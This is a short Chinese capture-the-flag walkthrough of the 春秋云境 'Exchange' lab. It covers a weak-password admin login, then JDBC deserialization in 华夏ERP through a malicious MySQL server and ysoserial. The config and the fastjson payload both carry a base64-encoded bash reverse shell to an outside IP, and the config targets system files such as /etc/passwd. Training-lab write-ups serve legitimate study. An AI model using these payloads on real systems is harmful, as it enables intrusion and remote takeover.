春秋云境-Exchange

先上fscan扫一遍

8000端口是后台，admin/123456弱口令登录

右上角官方插件点出来是华夏erp，这里可以打jdbc反序列化

起一个恶意mysql，config.json配置如下，ysoserial-all.jar放在同一路径下

{
  "config":{
    "ysoserialPath":"ysoserial-all.jar",
    "javaBinPath":"java",
    "fileOutputDir":"./fileOutput/",
    "displayFileContentOnScreen":true,
    "saveToFile":true
  },
  "fileread":{
    "win_ini":"c:\\windows\\win.ini",
    "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
    "win":"c:\\windows\\",
    "linux_passwd":"/etc/passwd",
    "linux_hosts":"/etc/hosts",
    "index_php":"index.php",
    "ssrf":"https://www.baidu.com/",
    "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
  },
  "yso":{
    "Jdk7u21":["Jdk7u21","calc"],
    "CommonsCollections6":["CommonCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDQuMjQ1LjM3LzIzMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"]
  }
}

对exp进行url编码以后传过去即可getshell

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "60.204.245.37", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MC4yMDQuMjQ1LjM3LzIzMzMzIDA+JjE=}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }